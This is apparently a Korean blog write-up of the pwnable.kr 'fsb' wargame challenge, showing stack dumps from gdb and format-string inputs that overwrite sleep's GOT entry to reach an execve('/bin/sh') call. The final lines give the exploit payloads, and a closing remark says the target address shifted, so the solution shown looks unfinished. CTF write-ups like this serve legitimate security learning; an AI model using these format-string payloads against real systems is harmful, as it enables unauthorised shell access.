Wargame/pwnable.kr

[Rookiss] fsb

bbolmin 2014. 7. 7. 10:33


fsb.c 소스




8byte의 랜덤한 key값을 알면 "/bin/sh" 쉘을 띄워준다. 그리고 포맷스트링 버그를 일으키는 루틴이 총 4번 존재하며 buf가 전연변수여서 스택값을 컨트롤 할 수 없는 상황이다.






현재 환경에서 스택에 어떤 값들이 존재하는지 확인해본다.



fsb@ubuntu:~$ ./fsb

Give me some format strings(1)

%p%p%p%p%p%p%p%p%p%p

0x804a1000x640xf774b43e0xf77600000x10000x10xf7760ff40xf77405c90x8048870(nil)



(gdb) x/40x $esp

0xffbe47b0:     0x0804a100      0x0804a100      0x00000064      0x00000000

0xffbe47c0:     0x00000000      0x00000000      0x00000000      0x00000000

0xffbe47d0:     0x00000000      0x08048870      0x00000000      0x00000000

0xffbe47e0:     0xffbe6c50      0xffbe6fe9      0xffbe4800      0xffbe4804

0xffbe47f0:     0x00000000      0x00000000      0xffbe6b58      0x08048791

0xffbe4800:     0x00000000      0x00000000      0x00000000      0x00000000

0xffbe4810:     0x00000000      0x00000000      0x00000000      0x00000000

0xffbe4820:     0x00000000      0x00000000      0x00000000      0x00000000



Breakpoint 1, 0x08048610 in fsb ()

(gdb) x/40x $esp

0xfff533e0:     0x0804a100      0x0804a100      0x00000064      0x00000000

0xfff533f0:     0x00000000      0x00000000      0x00000000      0x00000000

0xfff53400:     0x00000000      0x08048870      0x00000000      0x00000000

0xfff53410:     0xfff657b0      0xfff65fe9      0xfff53430      0xfff53434

0xfff53420:     0x00000000      0x00000000      0xfff656b8      0x08048791

0xfff53430:     0x00000000      0x00000000      0x00000000      0x00000000

0xfff53440:     0x00000000      0x00000000      0x00000000      0x00000000

0xfff53450:     0x00000000      0x00000000      0x00000000      0x00000000

0xfff53460:     0x00000000      0x00000000      0x00000000      0x00000000

0xfff53470:     0x00000000      0x00000000      0x00000000      0x00000000

(gdb)




위의 굵게 표시한 주소들은 항상 일정한 오프셋을 가지고 있고, 현재 esp로 부터 꽤 가까운 곳을 가리킨다.


위의 저 파란 부분을 FSB로 원하는 주소로 덮어버린다. ( got주소나 전연변수 key의 주소 등으로 .? )

그리고 FSB로 만든 주소의 위치에 FSB로 다시 원하는 값을 넣는다.





  (gdb) x/3i 0x8048400

   0x8048400 <sleep@plt>:       jmp    *0x804a008

   0x8048406 <sleep@plt+6>:     push   $0x10

   0x804840b <sleep@plt+11>:    jmp    0x80483d0



   0x0804869f <+363>:   movl   $0x80488ae,(%esp)

   0x080486a6 <+370>:   call   0x8048410 <puts@plt>

   0x080486ab <+375>:   mov    -0x24(%ebp),%eax

   0x080486ae <+378>:   movl   $0x0,0x8(%esp)

   0x080486b6 <+386>:   lea    -0x24(%ebp),%edx

   0x080486b9 <+389>:   mov    %edx,0x4(%esp)

   0x080486bd <+393>:   mov    %eax,(%esp)

   0x080486c0 <+396>:   call   0x8048450 <execve@plt>



sleep의 GOT(0x804a008)를 0x0804869f로 덮어버린다.

input(1) : 무시
input(2) : 무시
input(3) : %134520840x%14$n (0x804a008)
input(4) : %134514335x%20$n (0x0804869f)

//input(1), (2)에 입력하니 0x804a008 달라진다 ;;;..